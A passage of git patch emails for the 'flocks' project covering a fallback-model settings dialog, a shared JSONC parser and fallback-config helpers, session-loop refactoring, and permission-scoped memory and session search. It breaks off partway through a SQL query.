validate default model useEffect(() => { usageAPI.getSummary().then(r => setUsageStats(r.data)).catch(() => {}); + void loadFallbackModels(); Promise.all([ defaultModelAPI.getResolved().catch(() => ({ data: null })), modelV2API.listDefinitions({ enabled_only: true }), ]).then(([defaultRes, modelsRes]) => { const availableModels = modelsRes.data.models || []; + setAvailableRoutingModels(availableModels); const dm = defaultRes.data; if (!dm) return; @@ -199,7 +223,7 @@ export default function ModelPage() { }).catch(() => { // Keep the current default model when model definitions cannot be loaded. }); - }, []); + }, [loadFallbackModels]); // Only show configured (connected) providers const configuredProviders = useMemo(() => { @@ -218,6 +242,22 @@ export default function ModelPage() { [configuredProviders, connectionStatus] ); + const availableFallbackCount = useMemo(() => { + const configuredProviderIds = new Set(configuredProviders.map(provider => provider.id)); + const availableKeys = new Set( + availableRoutingModels + .filter(model => model.model_type === 'llm') + .map(model => `${model.provider_id}\u0000${model.id}`), + ); + return fallbackModels.filter(model => ( + configuredProviderIds.has(model.provider_id) + && availableKeys.has(`${model.provider_id}\u0000${model.model_id}`) + && !(defaultModel + && model.provider_id === defaultModel.provider_id + && model.model_id === defaultModel.model_id) + )).length; + }, [availableRoutingModels, configuredProviders, defaultModel, fallbackModels]); + // Auto-select last-used provider (persisted in sessionStorage), fallback to first const autoSelectedRef = useRef(false); useEffect(() => { @@ -471,6 +511,9 @@ export default function ModelPage() { usageStats={usageStats} defaultModel={defaultModel} onEditDefault={() => setShowDefaultModelDialog(true)} + fallbackCount={fallbackModels.length} + availableFallbackCount={availableFallbackCount} + onEditFallbacks={() => setShowFallbackModelsDialog(true)} /> {/* Main Content: Provider List + Detail Panel */} @@ -632,6 +675,23 @@ export default function ModelPage() { /> )} + {showFallbackModelsDialog && ( + setShowFallbackModelsDialog(false)} + onSaved={(models, availableModels) => { + setFallbackModels(models); + setAvailableRoutingModels(availableModels); + setShowFallbackModelsDialog(false); + }} + /> + )} +
); } @@ -644,12 +704,18 @@ function DashboardStrip({ usageStats, defaultModel, onEditDefault, + fallbackCount, + availableFallbackCount, + onEditFallbacks, }: { connectedCount: number; totalModels: number; usageStats: UsageStats | null; defaultModel: { provider_id: string; model_id: string } | null; onEditDefault: () => void; + fallbackCount: number; + availableFallbackCount: number; + onEditFallbacks: () => void; }) { const { t, i18n } = useTranslation('model'); const totalTokens = usageStats?.summary?.total_tokens ?? 0; @@ -665,7 +731,7 @@ function DashboardStrip({ }, [i18n.language]); return ( -
+
{/* Default Model Card */}
@@ -688,6 +754,17 @@ function DashboardStrip({
{defaultModel.provider_id}
)}
+ } + label={t('dashboard.fallbackModels')} + value={fallbackCount > 0 + ? t('dashboard.fallbackAvailability', { available: availableFallbackCount, total: fallbackCount }) + : t('dashboard.noFallbackModels')} + color="purple" + small={fallbackCount > 0} + onClick={onEditFallbacks} + title={t('dashboard.editFallbackModels')} + /> } label={t('dashboard.connected')} value={String(connectedCount)} color="green" /> } label={t('dashboard.availableModels')} value={String(totalModels)} color="blue" /> ); } + +// ==================== Auxiliary Models Dialog ==================== + +function FallbackModelsDialog({ + current, + currentLoading, + currentLoadError, + primary, + providers, + onRetryCurrent, + onClose, + onSaved, +}: { + current: FallbackModelRef[]; + currentLoading: boolean; + currentLoadError: string | null; + primary: { provider_id: string; model_id: string } | null; + providers: EnrichedProvider[]; + onRetryCurrent: () => Promise; + onClose: () => void; + onSaved: (models: FallbackModelRef[], availableModels: ModelDefinitionV2[]) => void; +}) { + const { t } = useTranslation('model'); + const toast = useToast(); + const [draft, setDraft] = useState(() => current.map(model => ({ ...model }))); + const [models, setModels] = useState([]); + const [loading, setLoading] = useState(true); + const [modelsLoadError, setModelsLoadError] = useState(null); + const [saving, setSaving] = useState(false); + const [adding, setAdding] = useState(false); + + const loadModels = useCallback(async (): Promise => { + setLoading(true); + setModelsLoadError(null); + try { + const response = await modelV2API.listDefinitions({ enabled_only: true }); + setModels(response.data.models || []); + return true; + } catch (loadError) { + setModelsLoadError( + loadError instanceof Error ? loadError.message : 'Failed to load model definitions', + ); + return false; + } finally { + setLoading(false); + } + }, []); + + useEffect(() => { + void loadModels(); + }, [loadModels]); + + useEffect(() => { + if (currentLoading || currentLoadError) return; + setDraft(current.map(model => ({ ...model }))); + }, [current, currentLoadError, currentLoading]); + + const handleRetryLoad = useCallback(async () => { + await Promise.all([ + currentLoadError ? onRetryCurrent() : Promise.resolve(true), + modelsLoadError ? loadModels() : Promise.resolve(true), + ]); + }, [currentLoadError, loadModels, modelsLoadError, onRetryCurrent]); + + const configuredProviderIds = useMemo( + () => new Set(providers.filter(provider => provider.configured).map(provider => provider.id)), + [providers], + ); + const providerNames = useMemo( + () => new Map(providers.map(provider => [provider.id, provider.name || provider.id])), + [providers], + ); + const availableModels = useMemo( + () => models.filter(model => ( + model.model_type === 'llm' + && configuredProviderIds.has(model.provider_id) + )), + [configuredProviderIds, models], + ); + const availableByKey = useMemo( + () => new Map(availableModels.map(model => [`${model.provider_id}\u0000${model.id}`, model])), + [availableModels], + ); + const draftKeys = useMemo( + () => new Set(draft.map(model => `${model.provider_id}\u0000${model.model_id}`)), + [draft], + ); + const selectableGroups = useMemo(() => { + const grouped = new Map(); + availableModels.forEach(model => { + const key = `${model.provider_id}\u0000${model.id}`; + const isPrimary = primary?.provider_id === model.provider_id && primary.model_id === model.id; + if (isPrimary || draftKeys.has(key)) return; + const entries = grouped.get(model.provider_id) ?? []; + entries.push(model); + grouped.set(model.provider_id, entries); + }); + return Array.from(grouped.entries()) + .map(([providerId, providerModels]) => ({ + providerId, + providerName: providerNames.get(providerId) || providerId, + models: providerModels.sort((a, b) => (a.name || a.id).localeCompare(b.name || b.id)), + })) + .sort((a, b) => a.providerName.localeCompare(b.providerName)); + }, [availableModels, draftKeys, primary, providerNames]); + const dirty = JSON.stringify(draft) !== JSON.stringify(current); + const loadFailed = Boolean(currentLoadError || modelsLoadError); + const routingDataLoading = currentLoading || loading; + const hasInvalidDraft = useMemo( + () => draft.some((fallback) => { + const key = `${fallback.provider_id}\u0000${fallback.model_id}`; + const isPrimary = primary?.provider_id === fallback.provider_id + && primary.model_id === fallback.model_id; + return isPrimary || !availableByKey.has(key); + }), + [availableByKey, draft, primary], + ); + const closeButtonRef = useRef(null); + + useEffect(() => { + const previouslyFocused = document.activeElement instanceof HTMLElement + ? document.activeElement + : null; + closeButtonRef.current?.focus(); + return () => previouslyFocused?.focus(); + }, []); + + useEffect(() => { + const handleKeyDown = (event: KeyboardEvent) => { + if (event.key !== 'Escape' || saving) return; + event.preventDefault(); + onClose(); + }; + window.addEventListener('keydown', handleKeyDown); + return () => window.removeEventListener('keydown', handleKeyDown); + }, [onClose, saving]); + + const move = (index: number, direction: -1 | 1) => { + const target = index + direction; + if (target < 0 || target >= draft.length) return; + setDraft(previous => { + const next = [...previous]; + [next[index], next[target]] = [next[target], next[index]]; + return next; + }); + }; + + const handleSave = async () => { + if (!dirty || saving || routingDataLoading || loadFailed || hasInvalidDraft) return; + setSaving(true); + try { + await defaultModelAPI.setFallbacks(draft); + toast.success(t('fallbacks.saved')); + onSaved(draft, models); + } catch (error: unknown) { + toast.error( + t('operationFailed'), + error instanceof Error ? error.message : undefined, + ); + } finally { + setSaving(false); + } + }; + + return ( +
{ + if (!saving) onClose(); + }} + > +
event.stopPropagation()} + > +
+
+

+ {t('fallbacks.title')} +

+

{t('fallbacks.description')}

+
+ +
+ +
+ {routingDataLoading ? ( +
+ +
+ ) : loadFailed ? ( +
+ +

{t('fallbacks.loadFailed')}

+

{currentLoadError || modelsLoadError}

+ +
+ ) : ( +
+ {draft.length === 0 ? ( +
+ +

{t('fallbacks.empty')}

+

{t('fallbacks.emptyHint')}

+
+ ) : ( +
+ {draft.map((fallback, index) => { + const key = `${fallback.provider_id}\u0000${fallback.model_id}`; + const definition = availableByKey.get(key); + const isPrimary = primary?.provider_id === fallback.provider_id + && primary.model_id === fallback.model_id; + const available = Boolean(definition) && !isPrimary; + return ( +
+ + {index + 1} + +
+
+ + {definition?.name || fallback.model_id} + + {!available && ( + + {t('fallbacks.unavailable')} + + )} +
+
+ {providerNames.get(fallback.provider_id) || fallback.provider_id} / {fallback.model_id} +
+
+
+ + + +
+
+ ); + })} +
+ )} + + {hasInvalidDraft && ( +

+ {t('fallbacks.removeInvalidHint')} +

+ )} + + + + {adding && selectableGroups.length > 0 && ( +
+ {selectableGroups.map(group => ( +
+
+ {group.providerName} +
+ {group.models.map(model => ( + + ))} +
+ ))} +
+ )} +
+ )} +
+ +
+ + +
+
+
+ ); +} diff --git a/webui/src/types/index.ts b/webui/src/types/index.ts index 91e7ff1f5..507682e77 100644 --- a/webui/src/types/index.ts +++ b/webui/src/types/index.ts @@ -530,6 +530,15 @@ export interface DefaultModelConfig { model_id: string; } +export interface FallbackModelRef { + provider_id: string; + model_id: string; +} + +export interface FallbackModelsConfig { + fallback_providers: FallbackModelRef[]; +} + /** Usage summary from /api/usage/summary */ export interface UsageStats { summary: { From ee1a2b26cedc25f6a1dfef8f729a0561b385445d Mon Sep 17 00:00:00 2001 From: xiami762 Date: Wed, 5 Aug 2026 17:38:32 +0800 Subject: [PATCH 15/67] refactor(auto): consolidate fallback routing helpers --- flocks/config/config.py | 222 +++++++++++++++++--------------- flocks/config/config_writer.py | 113 +--------------- flocks/session/session_loop.py | 94 +++++++------- tests/config/test_config.py | 13 ++ webui/src/pages/Model/index.tsx | 63 +++------ 5 files changed, 202 insertions(+), 303 deletions(-) diff --git a/flocks/config/config.py b/flocks/config/config.py index 3bfebeddb..684156edf 100644 --- a/flocks/config/config.py +++ b/flocks/config/config.py @@ -624,6 +624,63 @@ class FallbackProviderConfig(BaseModel): model_id: str +def normalize_fallback_provider_entries(value: Any) -> List[Dict[str, str]]: + """Return ordered, trimmed, structurally valid fallback identities.""" + from flocks.utils.log import Log + + config_log = Log.create(service="config") + if not isinstance(value, list): + config_log.warning("config.fallback_providers_invalid", { + "reason": "not_a_list", + }) + return [] + + normalized: List[Dict[str, str]] = [] + seen: set[tuple[str, str]] = set() + for index, raw in enumerate(value): + if not isinstance(raw, dict): + config_log.warning("config.fallback_provider_invalid", { + "index": index, + "reason": "not_an_object", + }) + continue + + provider_id = raw.get("provider_id") + model_id = raw.get("model_id") + if not isinstance(provider_id, str) or not isinstance(model_id, str): + config_log.warning("config.fallback_provider_invalid", { + "index": index, + "reason": "invalid_identity", + }) + continue + + provider_id = provider_id.strip() + model_id = model_id.strip() + if not provider_id or not model_id: + config_log.warning("config.fallback_provider_invalid", { + "index": index, + "reason": "empty_identity", + }) + continue + + identity = (provider_id, model_id) + if identity in seen: + config_log.warning("config.fallback_provider_duplicate", { + "index": index, + "provider_id": provider_id, + "model_id": model_id, + }) + continue + + seen.add(identity) + normalized.append({ + "provider_id": provider_id, + "model_id": model_id, + }) + + return normalized + + class ConfigInfo(BaseModel): """ Main configuration schema @@ -714,60 +771,7 @@ def normalize_fallback_providers(cls, value: Any) -> Any: """Normalize ordered fallback identities without rewriting user config.""" if value is None: return None - - from flocks.utils.log import Log - - config_log = Log.create(service="config") - if not isinstance(value, list): - config_log.warning("config.fallback_providers_invalid", { - "reason": "not_a_list", - }) - return [] - - normalized: List[Dict[str, str]] = [] - seen: set[tuple[str, str]] = set() - for index, raw in enumerate(value): - if not isinstance(raw, dict): - config_log.warning("config.fallback_provider_invalid", { - "index": index, - "reason": "not_an_object", - }) - continue - - provider_id = raw.get("provider_id") - model_id = raw.get("model_id") - if not isinstance(provider_id, str) or not isinstance(model_id, str): - config_log.warning("config.fallback_provider_invalid", { - "index": index, - "reason": "invalid_identity", - }) - continue - - provider_id = provider_id.strip() - model_id = model_id.strip() - if not provider_id or not model_id: - config_log.warning("config.fallback_provider_invalid", { - "index": index, - "reason": "empty_identity", - }) - continue - - identity = (provider_id, model_id) - if identity in seen: - config_log.warning("config.fallback_provider_duplicate", { - "index": index, - "provider_id": provider_id, - "model_id": model_id, - }) - continue - - seen.add(identity) - normalized.append({ - "provider_id": provider_id, - "model_id": model_id, - }) - - return normalized + return normalize_fallback_provider_entries(value) allow_read_paths: Optional[List[str]] = Field( None, alias="allowReadPaths", @@ -1255,6 +1259,67 @@ async def load_file(cls, filepath: Path) -> ConfigInfo: raise ValueError(f"Failed to read config file {filepath}: {e}") return await cls.load_text(text, filepath) + + @staticmethod + def parse_jsonc(text: str, filepath: Path) -> Dict[str, Any]: + """Parse JSONC text without resolving environment or secret references.""" + output: List[str] = [] + index = 0 + in_string = False + escaped = False + + while index < len(text): + char = text[index] + next_char = text[index + 1] if index + 1 < len(text) else "" + + if in_string: + output.append(char) + if escaped: + escaped = False + elif char == '\\': + escaped = True + elif char == '"': + in_string = False + index += 1 + continue + + if char == '"': + in_string = True + output.append(char) + index += 1 + continue + + if char == "/" and next_char == "/": + index += 2 + while index < len(text) and text[index] not in "\r\n": + index += 1 + continue + + if char == "/" and next_char == "*": + index += 2 + while index + 1 < len(text) and text[index:index + 2] != "*/": + if text[index] in "\r\n": + output.append(text[index]) + index += 1 + if index + 1 >= len(text): + raise ValueError( + f"Invalid JSON in {filepath}: unterminated block comment" + ) + index += 2 + continue + + output.append(char) + index += 1 + + try: + data = json.loads("".join(output)) + except json.JSONDecodeError as exc: + raise ValueError(f"Invalid JSON in {filepath}: {exc}") from exc + if not isinstance(data, dict): + raise ValueError( + f"Invalid configuration in {filepath}: expected an object" + ) + return data @classmethod async def load_text(cls, text: str, filepath: Path) -> ConfigInfo: @@ -1268,8 +1333,6 @@ async def load_text(cls, text: str, filepath: Path) -> ConfigInfo: Returns: ConfigInfo instance """ - original = text - # Replace environment variables text = cls.replace_env_vars(text) @@ -1279,52 +1342,7 @@ async def load_text(cls, text: str, filepath: Path) -> ConfigInfo: # Replace file references text = await cls.replace_file_refs(text, filepath.parent) - # Try to parse as JSONC (JSON with comments) - try: - # Remove comments properly - # 1. Remove /* */ block comments first - text_no_comments = re.sub(r'/\*.*?\*/', '', text, flags=re.DOTALL) - - # 2. Remove // line comments, but NOT in strings! - # We need to be careful not to remove // inside quoted strings (like URLs) - # This regex matches // that are NOT inside quotes - # Negative lookbehind to avoid matching inside strings - lines = text_no_comments.split('\n') - cleaned_lines = [] - for line in lines: - # Find // but not inside strings - # Simple approach: find first // that is not between quotes - in_string = False - escape_next = False - comment_start = -1 - - for i, char in enumerate(line): - if escape_next: - escape_next = False - continue - - if char == '\\': - escape_next = True - continue - - if char == '"' and not escape_next: - in_string = not in_string - - if not in_string and i < len(line) - 1 and line[i:i+2] == '//': - comment_start = i - break - - if comment_start >= 0: - line = line[:comment_start] - - cleaned_lines.append(line) - - text_no_comments = '\n'.join(cleaned_lines) - - # Parse JSON - data = json.loads(text_no_comments) - except json.JSONDecodeError as e: - raise ValueError(f"Invalid JSON in {filepath}: {e}") + data = cls.parse_jsonc(text, filepath) # Validate and parse with Pydantic try: diff --git a/flocks/config/config_writer.py b/flocks/config/config_writer.py index ca0d158ce..304e50e9a 100644 --- a/flocks/config/config_writer.py +++ b/flocks/config/config_writer.py @@ -14,7 +14,7 @@ from pathlib import Path from typing import Any, Dict, List, Optional -from flocks.config.config import Config +from flocks.config.config import Config, normalize_fallback_provider_entries from flocks.utils.log import Log log = Log.create(service="config.writer") @@ -30,61 +30,6 @@ }, } - -def _parse_jsonc(text: str) -> Dict[str, Any]: - """Parse JSON with line and block comments without resolving references.""" - output: List[str] = [] - index = 0 - in_string = False - escaped = False - - while index < len(text): - char = text[index] - next_char = text[index + 1] if index + 1 < len(text) else "" - - if in_string: - output.append(char) - if escaped: - escaped = False - elif char == "\\": - escaped = True - elif char == '"': - in_string = False - index += 1 - continue - - if char == '"': - in_string = True - output.append(char) - index += 1 - continue - - if char == "/" and next_char == "/": - index += 2 - while index < len(text) and text[index] not in "\r\n": - index += 1 - continue - - if char == "/" and next_char == "*": - index += 2 - while index + 1 < len(text) and text[index:index + 2] != "*/": - if text[index] in "\r\n": - output.append(text[index]) - index += 1 - if index + 1 >= len(text): - raise ValueError("Unterminated block comment") - index += 2 - continue - - output.append(char) - index += 1 - - parsed = json.loads("".join(output)) - if not isinstance(parsed, dict): - raise ValueError("Top-level configuration must be a JSON object") - return parsed - - def _get_example_config_dir() -> Path: """Return the bundled example directory used for first-run initialization.""" return Path(__file__).resolve().parents[2] / ".flocks" @@ -163,7 +108,7 @@ def _read_path_raw( text = path.read_text(encoding="utf-8") if not text.strip(): return {} - return _parse_jsonc(text) + return Config.parse_jsonc(text, path) except (ValueError, OSError) as exc: log.error("config_writer.read_failed", {"path": str(path), "error": str(exc)}) if strict: @@ -506,57 +451,9 @@ def get_all_default_models(cls) -> Dict[str, Dict[str, Any]]: def get_fallback_providers(cls) -> List[Dict[str, str]]: """Return ordered, structurally valid runtime fallback models.""" data = cls._read_raw() - raw_fallbacks = data.get("fallback_providers", []) - if not isinstance(raw_fallbacks, list): - log.warning("config_writer.fallback_providers_invalid", { - "reason": "not_a_list", - }) - return [] - - fallbacks: List[Dict[str, str]] = [] - seen: set[tuple[str, str]] = set() - for index, raw in enumerate(raw_fallbacks): - if not isinstance(raw, dict): - log.warning("config_writer.fallback_provider_invalid", { - "index": index, - "reason": "not_an_object", - }) - continue - - provider_id = raw.get("provider_id") - model_id = raw.get("model_id") - if not isinstance(provider_id, str) or not isinstance(model_id, str): - log.warning("config_writer.fallback_provider_invalid", { - "index": index, - "reason": "invalid_identity", - }) - continue - - provider_id = provider_id.strip() - model_id = model_id.strip() - if not provider_id or not model_id: - log.warning("config_writer.fallback_provider_invalid", { - "index": index, - "reason": "empty_identity", - }) - continue - - identity = (provider_id, model_id) - if identity in seen: - log.warning("config_writer.fallback_provider_duplicate", { - "index": index, - "provider_id": provider_id, - "model_id": model_id, - }) - continue - - seen.add(identity) - fallbacks.append({ - "provider_id": provider_id, - "model_id": model_id, - }) - - return fallbacks + return normalize_fallback_provider_entries( + data.get("fallback_providers", []) + ) @classmethod def set_fallback_providers( diff --git a/flocks/session/session_loop.py b/flocks/session/session_loop.py index 74b095bda..5e02cb525 100644 --- a/flocks/session/session_loop.py +++ b/flocks/session/session_loop.py @@ -918,6 +918,43 @@ async def _resolve_model( return resolved_provider, resolved_model, source return resolved_provider, resolved_model + @classmethod + async def _reset_auto_turn_candidates( + cls, + ctx: LoopContext, + primary: RuntimeModel, + user_message_id: str, + config: Any, + ) -> int: + """Rebuild and activate the configured or automatic chain for one turn.""" + configured = bool(getattr(config, "fallback_providers", None)) + if configured: + cls.clear_auto_failover_state(ctx.session.id) + preferred = None + else: + preferred = cls._active_cooldown_model(ctx.session.id, primary) + + ctx.model_candidates = await cls._build_model_candidates( + primary, + route_seed=f"{ctx.session.id}:{user_message_id}", + preferred=preferred, + config=config, + ) + ctx.model_candidate_policy = ( + "configured" if configured else "automatic" + ) + ctx.auto_failover = True + next_index = ( + 0 + if configured + else cls._cooldown_candidate_index( + ctx.session.id, + ctx.model_candidates, + ) + ) + cls._select_candidate(ctx, next_index) + return next_index + @classmethod async def _prepare_auto_turn( cls, @@ -943,35 +980,12 @@ async def _prepare_auto_turn( primary = ctx.model_candidates[0] config = await Config.get() - configured = bool( - getattr(config, "fallback_providers", None) - ) - if configured: - cls.clear_auto_failover_state(ctx.session.id) - preferred = None - else: - preferred = cls._active_cooldown_model( - ctx.session.id, - primary, - ) - ctx.model_candidates = await cls._build_model_candidates( + await cls._reset_auto_turn_candidates( + ctx, primary, - route_seed=f"{ctx.session.id}:{last_user.id}", - preferred=preferred, + last_user.id, config=config, ) - ctx.model_candidate_policy = ( - "configured" if configured else "automatic" - ) - next_index = ( - 0 - if configured - else cls._cooldown_candidate_index( - ctx.session.id, - ctx.model_candidates, - ) - ) - cls._select_candidate(ctx, next_index) return True ctx.turn_user_id = last_user.id @@ -1026,34 +1040,12 @@ async def _prepare_auto_turn( provider_id=(default_llm or {}).get("provider_id") or user_provider_id or ctx.provider_id, model_id=(default_llm or {}).get("model_id") or user_model_id or ctx.model_id, ) - # Rebuild once for every real turn. The user message ID makes the - # pseudo-random choices stable throughout that turn, while an active - # cooldown keeps its valid target in the newly sampled tier. - configured = bool(getattr(config, "fallback_providers", None)) - if configured: - cls.clear_auto_failover_state(ctx.session.id) - preferred = None - else: - preferred = cls._active_cooldown_model(ctx.session.id, primary) - ctx.model_candidates = await cls._build_model_candidates( + next_index = await cls._reset_auto_turn_candidates( + ctx, primary, - route_seed=f"{ctx.session.id}:{last_user.id}", - preferred=preferred, + last_user.id, config=config, ) - ctx.model_candidate_policy = ( - "configured" if configured else "automatic" - ) - ctx.auto_failover = True - next_index = ( - 0 - if configured - else cls._cooldown_candidate_index( - ctx.session.id, - ctx.model_candidates, - ) - ) - cls._select_candidate(ctx, next_index) active = ctx.model_candidates[next_index] log.info("session.model.auto_turn_reset", { "session_id": ctx.session.id, diff --git a/tests/config/test_config.py b/tests/config/test_config.py index 2e3d2723c..713448883 100644 --- a/tests/config/test_config.py +++ b/tests/config/test_config.py @@ -103,6 +103,19 @@ async def test_fallback_providers_use_effective_high_priority_config( ] +@pytest.mark.asyncio +async def test_shared_jsonc_parser_preserves_comment_markers_in_strings(tmp_path): + config = await Config.load_text( + """{ + // Actual comment. + "theme": "https://example.com/themes/*literal*/dark" + }""", + tmp_path / "flocks.jsonc", + ) + + assert config.theme == "https://example.com/themes/*literal*/dark" + + def test_local_mcp_config_accepts_legacy_env_alias(): """Legacy ``env`` should hydrate the canonical ``environment`` field.""" config = ConfigInfo.model_validate( diff --git a/webui/src/pages/Model/index.tsx b/webui/src/pages/Model/index.tsx index 0f0097b07..959ac8ede 100644 --- a/webui/src/pages/Model/index.tsx +++ b/webui/src/pages/Model/index.tsx @@ -3450,24 +3450,18 @@ function FallbackModelsDialog({ () => new Set(draft.map(model => `${model.provider_id}\u0000${model.model_id}`)), [draft], ); - const selectableGroups = useMemo(() => { - const grouped = new Map(); - availableModels.forEach(model => { + const selectableModels = useMemo( + () => availableModels.filter(model => { const key = `${model.provider_id}\u0000${model.id}`; const isPrimary = primary?.provider_id === model.provider_id && primary.model_id === model.id; - if (isPrimary || draftKeys.has(key)) return; - const entries = grouped.get(model.provider_id) ?? []; - entries.push(model); - grouped.set(model.provider_id, entries); - }); - return Array.from(grouped.entries()) - .map(([providerId, providerModels]) => ({ - providerId, - providerName: providerNames.get(providerId) || providerId, - models: providerModels.sort((a, b) => (a.name || a.id).localeCompare(b.name || b.id)), - })) - .sort((a, b) => a.providerName.localeCompare(b.providerName)); - }, [availableModels, draftKeys, primary, providerNames]); + return !isPrimary && !draftKeys.has(key); + }), + [availableModels, draftKeys, primary], + ); + const selectableGroups = useMemo( + () => groupModelsForSelection(selectableModels, providerNames), + [providerNames, selectableModels], + ); const dirty = JSON.stringify(draft) !== JSON.stringify(current); const loadFailed = Boolean(currentLoadError || modelsLoadError); const routingDataLoading = currentLoading || loading; @@ -3672,32 +3666,17 @@ function FallbackModelsDialog({ {adding && selectableGroups.length > 0 && ( -
- {selectableGroups.map(group => ( -
-
- {group.providerName} -
- {group.models.map(model => ( - - ))} -
- ))} -
+ { + setDraft(previous => [...previous, { + provider_id: model.provider_id, + model_id: model.id, + }]); + setAdding(false); + }} + /> )}
)} From c3b5e10f763c4b4d3cf3eec058e2f5b05f5d0bd7 Mon Sep 17 00:00:00 2001 From: xiami762 <> Date: Thu, 6 Aug 2026 10:01:40 +0800 Subject: [PATCH 16/67] fix(memory): isolate memory and session search --- flocks/memory/bootstrap.py | 4 +- flocks/memory/manager.py | 9 +- flocks/session/features/memory.py | 117 ++++++- flocks/storage/session_search.py | 48 +-- flocks/storage/vector.py | 20 +- flocks/tool/system/memory.py | 4 +- tests/memory/test_memory_scope.py | 46 ++- .../memory/test_session_transcript_search.py | 311 +++++++++++++++++- 8 files changed, 508 insertions(+), 51 deletions(-) diff --git a/flocks/memory/bootstrap.py b/flocks/memory/bootstrap.py index 88e0b4992..6bf032faa 100644 --- a/flocks/memory/bootstrap.py +++ b/flocks/memory/bootstrap.py @@ -57,7 +57,7 @@ ### Managing Memory Files: - The injected USER, Global, and Project files are a snapshot for this run. Read the file again before changing it. -- Use `read`, `glob`, and `grep` to inspect Memory explicitly, and `memory_search` for indexed recall across all projects. +- Use `read`, `glob`, and `grep` to inspect Memory explicitly, and `memory_search` for indexed recall across USER, Global, Daily, and the current Project. - Use `write` only to create a missing curated Memory file. Use `edit` for precise entry-level changes to an existing curated file. - Never write or edit `daily/`; only the Session lifecycle may append Daily entries. - **User profile**: Maintain `{memory_root}/USER.md` only for facts about the user. @@ -88,7 +88,7 @@ - Verify stale or conflicting Memory against current authoritative evidence before replacing or removing it. ### Available Tools: -- `memory_search` - Reconcile and search indexed Memory across all projects +- `memory_search` - Reconcile and search USER, Global, Daily, and current Project Memory - `read`, `glob`, `grep` - Inspect Memory files - `write` - Create a missing Memory file - `edit` - Precisely update an existing Memory file diff --git a/flocks/memory/manager.py b/flocks/memory/manager.py index 99978a79e..9978c8d4c 100644 --- a/flocks/memory/manager.py +++ b/flocks/memory/manager.py @@ -4,7 +4,7 @@ Coordinates all memory system components: indexing, search, and sync. """ -from typing import Optional, List, Dict, Any, Callable +from typing import Optional, List, Dict, Any, Callable, Set from pathlib import Path import asyncio import os @@ -347,6 +347,7 @@ async def search( max_results: Optional[int] = None, min_score: Optional[float] = None, sources: Optional[List[MemorySource]] = None, + readable_session_ids: Optional[Set[str]] = None, ) -> List[MemorySearchResult]: """ Search memory @@ -356,6 +357,7 @@ async def search( max_results: Maximum results (default from config) min_score: Minimum similarity score (default from config) sources: Sources to search (default from config) + readable_session_ids: Session IDs the caller may read Returns: List of search results @@ -418,6 +420,11 @@ async def search( query=query, max_results=limit * self.config.query.hybrid.candidate_multiplier, + readable_session_ids=( + readable_session_ids + if readable_session_ids is not None + else set() + ), ) results.extend( MemorySearchResult( diff --git a/flocks/session/features/memory.py b/flocks/session/features/memory.py index cc415b482..9279d3247 100644 --- a/flocks/session/features/memory.py +++ b/flocks/session/features/memory.py @@ -4,7 +4,7 @@ Bridges Session and MemoryManager for seamless memory access within sessions. """ -from typing import Optional, List, Dict, Any, Set +from typing import Optional, List, Dict, Any, Set, TYPE_CHECKING from pathlib import Path import asyncio @@ -13,6 +13,10 @@ from flocks.config import Config from flocks.utils.log import Log +if TYPE_CHECKING: + from flocks.auth.context import AuthUser + from flocks.session.session import SessionInfo + log = Log.create(service="session.memory") @@ -94,6 +98,93 @@ async def initialize(self) -> bool: "error": str(e), }) return False + + async def _resolve_search_caller( + self, + session: "SessionInfo", + ) -> Optional["AuthUser"]: + """Resolve the authenticated caller, falling back to Session owner.""" + from flocks.auth.context import ( + API_TOKEN_SERVICE_USER_ID, + AuthUser, + get_current_auth_user, + ) + + caller = get_current_auth_user() + if caller is not None: + return caller + + owner_id = getattr(session, "owner_user_id", None) + if not owner_id: + return None + if owner_id == API_TOKEN_SERVICE_USER_ID: + return AuthUser( + id=API_TOKEN_SERVICE_USER_ID, + username=API_TOKEN_SERVICE_USER_ID, + role="admin", + ) + + from flocks.auth.service import AuthService + + owner = await AuthService.get_user_by_id(owner_id) + if owner is None: + return None + to_auth_user = getattr(owner, "to_auth_user", None) + if callable(to_auth_user): + return to_auth_user() + return AuthUser( + id=str(owner.id), + username=str(owner.username), + role=str(owner.role), + status=str(getattr(owner, "status", "active")), + ) + + async def _search_access_context( + self, + ) -> tuple["SessionInfo", Optional["AuthUser"], Set[str]]: + """Validate the current Session and resolve its effective caller.""" + from flocks.project.project import Project + from flocks.session.policy import SessionPolicy + from flocks.session.session import Session + + session = await Session.get_by_id_unfiltered(self.session_id) + if session is None: + raise PermissionError("Session not found") + + caller = await self._resolve_search_caller(session) + shared_project_ids = Project.shared_project_ids() + if caller is not None and not SessionPolicy.can_read( + session, + caller, + shared_project_ids=shared_project_ids, + ): + raise PermissionError("Session access denied") + return session, caller, shared_project_ids + + async def _readable_session_ids( + self, + current_session: "SessionInfo", + caller: Optional["AuthUser"], + shared_project_ids: Set[str], + ) -> Set[str]: + """Return readable, non-deleted Session IDs in the current project.""" + if caller is None: + return {current_session.id} + + from flocks.session.policy import SessionPolicy + from flocks.session.session import Session + + return { + session.id + for session in await Session.list_all_unfiltered() + if session.project_id == self.project_id + and session.status != "deleted" + and SessionPolicy.can_read( + session, + caller, + shared_project_ids=shared_project_ids, + ) + } async def search( self, @@ -122,11 +213,33 @@ async def search( return [] try: - results = await self._manager.search( + manager = self._manager + if manager is None: + raise RuntimeError("Memory manager is not initialized") + current_session, caller, shared_project_ids = ( + await self._search_access_context() + ) + selected_sources = ( + list(sources) + if sources is not None + else [ + MemorySource(source) + for source in manager.config.sources + ] + ) + readable_session_ids = None + if MemorySource.SESSION in selected_sources: + readable_session_ids = await self._readable_session_ids( + current_session, + caller, + shared_project_ids, + ) + results = await manager.search( query=query, max_results=max_results, min_score=min_score, sources=sources, + readable_session_ids=readable_session_ids, ) log.debug("session.memory.search", { diff --git a/flocks/storage/session_search.py b/flocks/storage/session_search.py index 6668f9841..c9193d844 100644 --- a/flocks/storage/session_search.py +++ b/flocks/storage/session_search.py @@ -618,35 +618,43 @@ async def session_fts_search( project_id: str, query: str, max_results: int, + readable_session_ids: Optional[set[str]] = None, ) -> list[dict[str, Any]]: - """Search all indexed session messages using FTS5 BM25 ranking.""" + """Search readable Session messages in the current project.""" from flocks.storage.vector import build_fts_query require_session_search_available() - del project_id # Retained for API compatibility; Session search is global. fts_query = build_fts_query(query) if not fts_query: return [] + if readable_session_ids is not None and not readable_session_ids: + return [] + + sql = """ + SELECT + s.message_id, + s.session_id, + s.role, + s.created_at, + snippet(session_transcript_fts, 0, '', '', ' … ', 24), + bm25(session_transcript_fts) + FROM session_transcript_fts + JOIN session_transcript_index_state s + ON s.id = session_transcript_fts.rowid + WHERE session_transcript_fts MATCH ? + 